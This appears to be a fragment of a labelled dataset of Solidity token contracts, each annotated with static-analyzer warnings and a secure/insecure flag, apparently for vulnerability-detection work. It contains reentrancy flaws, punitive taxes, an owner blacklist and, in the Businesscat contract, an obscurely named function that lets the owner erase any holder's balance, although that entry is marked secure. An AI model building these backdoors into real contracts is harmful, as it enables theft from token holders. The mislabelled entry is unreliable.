{\n\t\t\t\t// divide-before-multiply | ID: 27b8e33\n\t\t\t\t// divide-before-multiply | ID: c0b89d0\n fees = amount.mul(sellTaxTotal).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: c0b89d0\n\t\t\t\t// reentrancy-eth | ID: 74408ad\n tokensForProject += (fees * sellProjectTax) / sellTaxTotal;\n\n\t\t\t\t// reentrancy-benign | ID: f494988\n\t\t\t\t// divide-before-multiply | ID: 27b8e33\n tokensForMarketing += (fees * sellMarketingTax) / sellTaxTotal;\n } else if (automatedMarketMakerPairs[from] && buyTaxTotal > 0) {\n\t\t\t\t// divide-before-multiply | ID: 1712b81\n\t\t\t\t// divide-before-multiply | ID: 3beecb2\n fees = amount.mul(buyTaxTotal).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: 1712b81\n\t\t\t\t// reentrancy-eth | ID: 74408ad\n tokensForProject += (fees * buyProjectTax) / buyTaxTotal;\n\n\t\t\t\t// reentrancy-benign | ID: f494988\n\t\t\t\t// divide-before-multiply | ID: 3beecb2\n tokensForMarketing += (fees * buyMarketingTax) / buyTaxTotal;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: f3a47b2\n\t\t\t\t// reentrancy-eth | ID: 74408ad\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: f3a47b2\n\t\t// reentrancy-eth | ID: 74408ad\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = dexRouter.WETH();\n\n _approve(address(this), address(dexRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: f3a47b2\n\t\t// reentrancy-benign | ID: 57514e1\n\t\t// reentrancy-benign | ID: f494988\n\t\t// reentrancy-eth | ID: 74408ad\n dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n bool anti = true;\n\n function setAnti(bool _anti) external onlyOwner {\n anti = _anti;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 57514e1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 57514e1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ab98c65): SatoshiReborn.swapBack(uint256) sends eth to arbitrary user Dangerous calls (success,None) = address(marketingWallet).call{value address(this).balance}()\n\t// Recommendation for ab98c65: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 8a5cc3c): SatoshiReborn.swapBack(uint256).success is written in both (success,None) = address(projectWallet).call{value ethForDev}() (success,None) = address(marketingWallet).call{value address(this).balance}()\n\t// Recommendation for 8a5cc3c: Fix or remove the writes.\n function swapBack(uint256 amount) private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 totalTokensToSwap = contractBalance;\n\n bool success;\n\n if (contractBalance == 0) {\n return;\n }\n\n if (contractBalance > swapBackValueMax) {\n contractBalance = swapBackValueMax;\n }\n\n if (anti && contractBalance > amount * 5) {\n contractBalance = amount * 5;\n }\n\n uint256 amountToSwapForETH = contractBalance;\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-benign | ID: 57514e1\n swapTokensForEth(amountToSwapForETH);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 ethForDev = ethBalance.mul(tokensForProject).div(\n totalTokensToSwap\n );\n\n\t\t// reentrancy-benign | ID: 57514e1\n tokensForMarketing = 0;\n\n\t\t// reentrancy-benign | ID: 57514e1\n tokensForProject = 0;\n\n\t\t// reentrancy-events | ID: f3a47b2\n\t\t// reentrancy-benign | ID: f494988\n\t\t// write-after-write | ID: 8a5cc3c\n\t\t// reentrancy-eth | ID: 74408ad\n (success, ) = address(projectWallet).call{value: ethForDev}(\"\");\n\n\t\t// reentrancy-events | ID: f3a47b2\n\t\t// reentrancy-benign | ID: f494988\n\t\t// write-after-write | ID: 8a5cc3c\n\t\t// reentrancy-eth | ID: 74408ad\n\t\t// arbitrary-send-eth | ID: ab98c65\n (success, ) = address(marketingWallet).call{\n value: address(this).balance\n }(\"\");\n }\n}",
"file_name": "solidity_code_3902.sol",
"secure": 0,
"size_bytes": 20834
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract ReentrancyGuard {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = _NOT_ENTERED;\n }\n\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n}\n\nerror InvalidAddress();\n\nerror InvalidAmount();\n\nerror LockedLiquidityPool();\n\nerror ZeroAddressNotAllowed();\n\nerror AllowanceExceeded();\n\nerror DecreasedAllowanceBelowZero();\n\nerror ContractDoesNotAcceptEther();\n\nerror ApprovalNotReset();\n",
"file_name": "solidity_code_3903.sol",
"secure": 1,
"size_bytes": 1037
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: b8fc767): Contract locking ether found Contract WITBTOKEN has payable functions WITBTOKEN.constructor(address) WITBTOKEN.receive() But does not have a function to withdraw the ether\n// Recommendation for b8fc767: Remove the 'payable' attribute or add a withdraw function.\ncontract WITBTOKEN is ERC20, Ownable, ReentrancyGuard {\n uint16 private constant BUY_TAX_RATE = 100;\n\n uint16 private constant SELL_TAX_RATE = 100;\n\n uint16 private constant TRANSFER_TAX_RATE = 0;\n\n address public immutable taxReceiver;\n\n address public liquidityPool;\n\n bool public liquidityPoolLocked;\n\n event TaxCollected(\n address indexed from,\n address indexed to,\n uint256 taxAmount\n );\n\n event LiquidityPoolSet(address indexed liquidityPool);\n\n event AllowanceIncreased(\n address indexed owner,\n address indexed spender,\n uint256 addedValue\n );\n\n event AllowanceDecreased(\n address indexed owner,\n address indexed spender,\n uint256 subtractedValue\n );\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: b8fc767): Contract locking ether found Contract WITBTOKEN has payable functions WITBTOKEN.constructor(address) WITBTOKEN.receive() But does not have a function to withdraw the ether\n\t// Recommendation for b8fc767: Remove the 'payable' attribute or add a withdraw function.\n constructor(\n address _taxReceiver\n ) payable ERC20(\"Whale in the Box\", \"WITB\") Ownable(msg.sender) {\n if (_taxReceiver == address(0)) revert InvalidAddress();\n\n taxReceiver = _taxReceiver;\n\n _mint(msg.sender, 1e9 * 10 ** decimals());\n }\n\n function setLiquidityPool(address _liquidityPool) external onlyOwner {\n if (liquidityPoolLocked) revert LockedLiquidityPool();\n\n if (_liquidityPool == address(0)) revert ZeroAddressNotAllowed();\n\n liquidityPool = _liquidityPool;\n\n liquidityPoolLocked = true;\n\n emit LiquidityPoolSet(_liquidityPool);\n }\n\n function _calculateTax(\n address from,\n address to,\n uint256 amount\n ) private view returns (uint256) {\n uint256 taxRate = (from == liquidityPool)\n ? BUY_TAX_RATE\n : (to == liquidityPool)\n ? SELL_TAX_RATE\n : TRANSFER_TAX_RATE;\n\n return (amount * taxRate) / 10000;\n }\n\n function _applyTax(\n address from,\n address to,\n uint256 amount\n ) private returns (uint256) {\n uint256 taxAmount = _calculateTax(from, to, amount);\n\n if (taxAmount != 0) {\n _transfer(from, taxReceiver, taxAmount);\n\n emit TaxCollected(from, taxReceiver, taxAmount);\n }\n\n return amount - taxAmount;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override nonReentrant returns (bool) {\n if (recipient == address(0) || amount == 0) revert InvalidAmount();\n\n uint256 amountAfterTax = _applyTax(msg.sender, recipient, amount);\n\n _transfer(msg.sender, recipient, amountAfterTax);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override nonReentrant returns (bool) {\n if (sender == address(0) || recipient == address(0) || amount == 0)\n revert InvalidAmount();\n\n uint256 currentAllowance = allowance(sender, msg.sender);\n\n if (currentAllowance < amount) revert AllowanceExceeded();\n\n uint256 amountAfterTax = _applyTax(sender, recipient, amount);\n\n _transfer(sender, recipient, amountAfterTax);\n\n unchecked {\n _approve(sender, msg.sender, currentAllowance - amount);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f32d846): WITBTOKEN.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f32d846: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != 0 && amount != 0) {\n revert ApprovalNotReset();\n }\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3c62c51): WITBTOKEN.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3c62c51: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n emit AllowanceIncreased(owner, spender, addedValue);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 73f0ea1): WITBTOKEN.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 73f0ea1: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance < subtractedValue)\n revert DecreasedAllowanceBelowZero();\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n emit AllowanceDecreased(owner, spender, subtractedValue);\n\n return true;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: b8fc767): Contract locking ether found Contract WITBTOKEN has payable functions WITBTOKEN.constructor(address) WITBTOKEN.receive() But does not have a function to withdraw the ether\n\t// Recommendation for b8fc767: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {\n revert ContractDoesNotAcceptEther();\n }\n}",
"file_name": "solidity_code_3904.sol",
"secure": 0,
"size_bytes": 6714
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GameGenToken is Context, IERC20, Ownable {\n mapping(address => uint256) private _balance;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _IsLimitFree;\n\n mapping(address => uint256) private _BlockedAddress;\n\n uint256 private constant MAX = ~uint256(0);\n\n uint8 private constant _decimals = 18;\n\n string public constant website = \"https://game1gen.net/1\";\n\n string public constant twitter = \"https://x.com/Ga1meGenAI1\";\n\n string public constant telegram = \"https://t.me/GameG1enGateway1\";\n\n uint256 public buyTax = 45;\n\n uint256 public sellTax = 45;\n\n uint256 public transferTax = 10;\n\n uint256 private constant _totalSupply = 10000000 * 10 ** _decimals;\n\n uint256 private constant onePercent = (_totalSupply) / 100;\n\n uint256 private constant minimumSwapAmount = 40000;\n\n uint256 private maxSwap = (onePercent * 5) / 10;\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6626b1f): GameGenToken.updateMaxSwap(uint256) should emit an event for maxSwap = (_totalSupply * newMaxSwapPercent) / 10000 \n\t// Recommendation for 6626b1f: Emit an event for critical parameter changes.\n function updateMaxSwap(uint256 newMaxSwapPercent) external onlyOwner {\n require(\n newMaxSwapPercent > 0 && newMaxSwapPercent <= 100,\n \"Invalid percentage\"\n );\n\n\t\t// events-maths | ID: 6626b1f\n maxSwap = (_totalSupply * newMaxSwapPercent) / 10000;\n }\n\n string private constant _name = \"CRANE AI\";\n\n string private constant _symbol = \"CRANE\";\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n address public immutable DevAddress;\n\n address public immutable OperationAddress;\n\n address public immutable MarketingAddress;\n\n bool private launch = false;\n\n constructor() {\n OperationAddress = 0xBC05dA7fc854ED26eD4F17ECE066bb21501d047f;\n\n DevAddress = 0x67CB5F7bd9E7853bb6FDc115F59f717a84E8Fba9;\n\n MarketingAddress = 0x95D35bbd4914d9252873e6cc6182FF5E8eBfB0d9;\n\n _balance[msg.sender] = _totalSupply;\n\n _IsLimitFree[DevAddress] = 1;\n\n _IsLimitFree[OperationAddress] = 1;\n\n _IsLimitFree[MarketingAddress] = 1;\n\n _IsLimitFree[msg.sender] = 1;\n\n _IsLimitFree[address(this)] = 1;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ed01093): GameGenToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ed01093: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: aad7a09): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for aad7a09: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 52b2197): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 52b2197: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: aad7a09\n\t\t// reentrancy-benign | ID: 52b2197\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n\t\t\t\t// reentrancy-events | ID: aad7a09\n\t\t\t\t// reentrancy-benign | ID: 52b2197\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n }\n\n return true;\n }\n\n function getWebsite() external pure returns (string memory) {\n return website;\n }\n\n function getTwitter() external pure returns (string memory) {\n return twitter;\n }\n\n function getTelegram() external pure returns (string memory) {\n return telegram;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 65a573c): GameGenToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 65a573c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 52b2197\n\t\t// reentrancy-benign | ID: 014e0f4\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: aad7a09\n\t\t// reentrancy-events | ID: 2fa60dc\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2fa60dc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2fa60dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 014e0f4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 014e0f4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 74142fc): GameGenToken.startTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 74142fc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e48e604): GameGenToken.startTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e48e604: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 50148d7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 50148d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startTrading() external onlyOwner {\n require(!launch, \"trading already opened\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-events | ID: 2fa60dc\n\t\t// reentrancy-benign | ID: 014e0f4\n\t\t// reentrancy-eth | ID: 50148d7\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 2fa60dc\n\t\t// reentrancy-benign | ID: 014e0f4\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n\t\t// unused-return | ID: e48e604\n\t\t// reentrancy-eth | ID: 50148d7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 74142fc\n\t\t// reentrancy-eth | ID: 50148d7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-eth | ID: 50148d7\n launch = true;\n }\n\n function _ExcludedWallet(address wallet) external onlyOwner {\n _IsLimitFree[wallet] = 1;\n }\n\n function _RemoveExcludedWallet(address wallet) external onlyOwner {\n _IsLimitFree[wallet] = 0;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 1b8540d): GameGenToken.DecreaseTax(uint256,uint256) should emit an event for buyTax = newBuyTax sellTax = newSellTax \n\t// Recommendation for 1b8540d: Emit an event for critical parameter changes.\n function DecreaseTax(\n uint256 newBuyTax,\n uint256 newSellTax\n ) external onlyOwner {\n require(\n newBuyTax <= buyTax && newSellTax <= sellTax,\n \"Tax cannot be increased\"\n );\n\n\t\t// events-maths | ID: 1b8540d\n buyTax = newBuyTax;\n\n\t\t// events-maths | ID: 1b8540d\n sellTax = newSellTax;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8a0cc26): GameGenToken.setTransferTax(uint256) should emit an event for transferTax = newTransferTax \n\t// Recommendation for 8a0cc26: Emit an event for critical parameter changes.\n function setTransferTax(uint256 newTransferTax) external onlyOwner {\n require(newTransferTax <= 100, \"Transfer tax cannot exceed 100%\");\n\n\t\t// events-maths | ID: 8a0cc26\n transferTax = newTransferTax;\n }\n\n function blacklistAddresses(\n address[] calldata accounts\n ) external onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n require(\n accounts[i] != address(this) &&\n accounts[i] != uniswapV2Pair &&\n accounts[i] != address(uniswapV2Router),\n \"Invalid address\"\n );\n\n _BlockedAddress[accounts[i]] = 1;\n }\n }\n\n function removeFromBlacklist(\n address[] calldata accounts\n ) external onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _BlockedAddress[accounts[i]] = 0;\n }\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 amount,\n uint256 _tax\n ) private {\n uint256 taxTokens = (amount * _tax) / 100;\n\n uint256 transferAmount = amount - taxTokens;\n\n\t\t// reentrancy-eth | ID: 7f960d7\n _balance[from] = _balance[from] - amount;\n\n\t\t// reentrancy-eth | ID: 7f960d7\n _balance[to] = _balance[to] + transferAmount;\n\n\t\t// reentrancy-eth | ID: 7f960d7\n _balance[address(this)] = _balance[address(this)] + taxTokens;\n\n\t\t// reentrancy-events | ID: b9b552b\n emit Transfer(from, to, transferAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b9b552b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b9b552b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7f960d7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7f960d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n require(_BlockedAddress[from] == 0, \"Address is blacklisted\");\n\n uint256 _tax = 0;\n\n if (_IsLimitFree[from] == 0 && _IsLimitFree[to] == 0) {\n require(launch, \"Trading not started yet\");\n\n if (from == uniswapV2Pair) {\n _tax = buyTax;\n } else if (to == uniswapV2Pair) {\n uint256 tokensToSwap = balanceOf(address(this));\n\n if (tokensToSwap > minimumSwapAmount) {\n uint256 mxSw = maxSwap;\n\n if (tokensToSwap > amount) tokensToSwap = amount;\n\n if (tokensToSwap > mxSw) tokensToSwap = mxSw;\n\n\t\t\t\t\t// reentrancy-events | ID: b9b552b\n\t\t\t\t\t// reentrancy-eth | ID: 7f960d7\n swapTokensForEth(tokensToSwap);\n }\n\n _tax = sellTax;\n } else {\n _tax = transferTax;\n }\n }\n\n\t\t// reentrancy-events | ID: b9b552b\n\t\t// reentrancy-eth | ID: 7f960d7\n _tokenTransfer(from, to, amount, _tax);\n }\n\n function transferContractTokens(\n address recipient,\n uint256 amount\n ) external onlyOwner {\n require(\n balanceOf(address(this)) >= amount,\n \"Insufficient tokens in contract\"\n );\n\n _transfer(address(this), recipient, amount);\n }\n\n function Weth() external onlyOwner {\n bool success;\n\n (success, ) = owner().call{value: address(this).balance}(\"\");\n }\n\n function ManualSwap(uint256 percent) external onlyOwner {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 amtswap = (percent * contractBalance) / 100;\n\n swapTokensForEth(amtswap);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: aad7a09\n\t\t// reentrancy-events | ID: b9b552b\n\t\t// reentrancy-benign | ID: 52b2197\n\t\t// reentrancy-eth | ID: 7f960d7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 devTax = (address(this).balance * 45) / 100;\n\n uint256 operationTax = (address(this).balance * 45) / 100;\n\n uint256 marketingTax = (address(this).balance * 10) / 100;\n\n\t\t// reentrancy-events | ID: aad7a09\n\t\t// reentrancy-events | ID: b9b552b\n\t\t// reentrancy-benign | ID: 52b2197\n\t\t// reentrancy-eth | ID: 7f960d7\n (bool success, ) = DevAddress.call{value: devTax}(\"\");\n\n require(success, \"Dev transfer failed\");\n\n\t\t// reentrancy-events | ID: aad7a09\n\t\t// reentrancy-events | ID: b9b552b\n\t\t// reentrancy-benign | ID: 52b2197\n\t\t// reentrancy-eth | ID: 7f960d7\n (success, ) = OperationAddress.call{value: operationTax}(\"\");\n\n require(success, \"Operation transfer failed\");\n\n\t\t// reentrancy-events | ID: aad7a09\n\t\t// reentrancy-events | ID: b9b552b\n\t\t// reentrancy-benign | ID: 52b2197\n\t\t// reentrancy-eth | ID: 7f960d7\n (success, ) = MarketingAddress.call{value: marketingTax}(\"\");\n\n require(success, \"Marketing transfer failed\");\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_3905.sol",
"secure": 0,
"size_bytes": 16980
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Businesscat is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable peak;\n\n constructor() {\n _name = \"Business Cat\";\n\n _symbol = \"BCAT\";\n\n _decimals = 18;\n\n uint256 initialSupply = 352000000;\n\n peak = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == peak, \"Not allowed\");\n\n _;\n }\n\n function comedy(address[] memory valley) public onlyOwner {\n for (uint256 i = 0; i < valley.length; i++) {\n address account = valley[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3906.sol",
"secure": 1,
"size_bytes": 4356
} |
{
